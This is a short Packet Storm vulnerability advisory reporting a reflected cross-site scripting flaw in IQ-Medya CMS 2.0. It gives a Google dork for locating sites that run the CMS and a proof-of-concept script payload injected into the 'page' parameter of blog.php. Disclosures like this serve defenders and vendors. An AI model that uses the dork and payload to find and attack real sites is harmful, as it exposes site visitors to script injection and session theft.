IQ-Medya CMS 2.0 Cross Site Scripting ≈ Packet Storm

Home^[1] Files^[2] News^[3] &[SERVICES_TAB] Contact^[4] Add New^[5]

Change Mirror^[11] Download^[12]

        ====================================================================================================================================
| # Title     : İQ-Medya CMS v2.0 XSS Vulnerability                                                                                |
| # Author    : indoushka                                                                                                          |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            |
| # Vendor    : https://iq-medya.net.tr                                                                                            |  
| # Dork      : intext:''Tasarım iQ Digital''                                                                                      |
====================================================================================================================================
poc :
[+]  Dorking İn Google Or Other Search Enggine .
[+]  use payload : /tr/blog.php?page=<script>alert(/indoushka/);</script>
[+]  http://127.0.0.1/uzmangayrimenkulcomtr/tr/blog.php?page=%3Cscript%3Ealert(/indoushka/);%3C/script%3E
Greetings to :=========================================================================================================================
jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |
=======================================================================================================================================

• Follow us on Twitter^[15]
• Follow us on Facebook^[16]
• Subscribe to an RSS Feed^[17]

File Tags

• ActiveX^[18] (932)
• Advisory^[19] (82,058)
• Arbitrary^[20] (16,220)
• BBS^[21] (2,859)
• Bypass^[22] (1,741)
• CGI^[23] (1,026)
• Code Execution^[24] (7,285)
• Conference^[25] (679)
• Cracker^[26] (841)
• CSRF^[27] (3,348)
• DoS^[28] (23,462)
• Encryption^[29] (2,370)
• Exploit^[30] (52,004)
• File Inclusion^[31] (4,225)
• File Upload^[32] (976)
• Firewall^[33] (821)
• Info Disclosure^[34] (2,788)
• Intrusion Detection^[35] (892)
• Java^[36] (3,046)
• JavaScript^[37] (859)
• Kernel^[38] (6,696)
• Local^[39] (14,466)
• Magazine^[40] (586)
• Overflow^[41] (12,693)
• Perl^[42] (1,423)
• PHP^[43] (5,149)
• Proof of Concept^[44] (2,340)
• Protocol^[45] (3,603)
• Python^[46] (1,535)
• Remote^[47] (30,817)
• Root^[48] (3,587)
• Rootkit^[49] (508)
• Ruby^[50] (612)
• Scanner^[51] (1,640)
• Security Tool^[52] (7,891)
• Shell^[53] (3,188)
• Shellcode^[54] (1,215)
• Sniffer^[55] (895)
• Spoof^[56] (2,207)
• SQL Injection^[57] (16,394)
• TCP^[58] (2,406)
• Trojan^[59] (687)
• UDP^[60] (893)
• Virus^[61] (666)
• Vulnerability^[62] (31,798)
• Web^[63] (9,671)
• Whitepaper^[64] (3,750)
• x86^[65] (962)
• XSS^[66] (17,974)
• Other^[67]

File Archives

• August 2023^[68]
• July 2023^[69]
• June 2023^[70]
• May 2023^[71]
• April 2023^[72]
• March 2023^[73]
• February 2023^[74]
• January 2023^[75]
• December 2022^[76]
• November 2022^[77]
• October 2022^[78]
• September 2022^[79]
• Older^[80]

Systems

• AIX^[81] (428)
• Apple^[82] (2,002)
• BSD^[83] (373)
• CentOS^[84] (57)
• Cisco^[85] (1,925)
• Debian^[86] (6,822)
• Fedora^[87] (1,692)
• FreeBSD^[88] (1,244)
• Gentoo^[89] (4,322)
• HPUX^[90] (879)
• iOS^[91] (351)
• iPhone^[92] (108)
• IRIX^[93] (220)
• Juniper^[94] (68)
• Linux^[95] (46,555)
• Mac OS X^[96] (686)
• Mandriva^[97] (3,105)
• NetBSD^[98] (256)
• OpenBSD^[99] (485)
• RedHat^[100] (13,781)
• Slackware^[101] (941)
• Solaris^[102] (1,610)
• SUSE^[103] (1,444)
• Ubuntu^[104] (8,852)
• UNIX^[105] (9,302)
• UnixWare^[106] (186)
• Windows^[107] (6,579)
• Other^[108]

© 2022 Packet Storm. All rights reserved.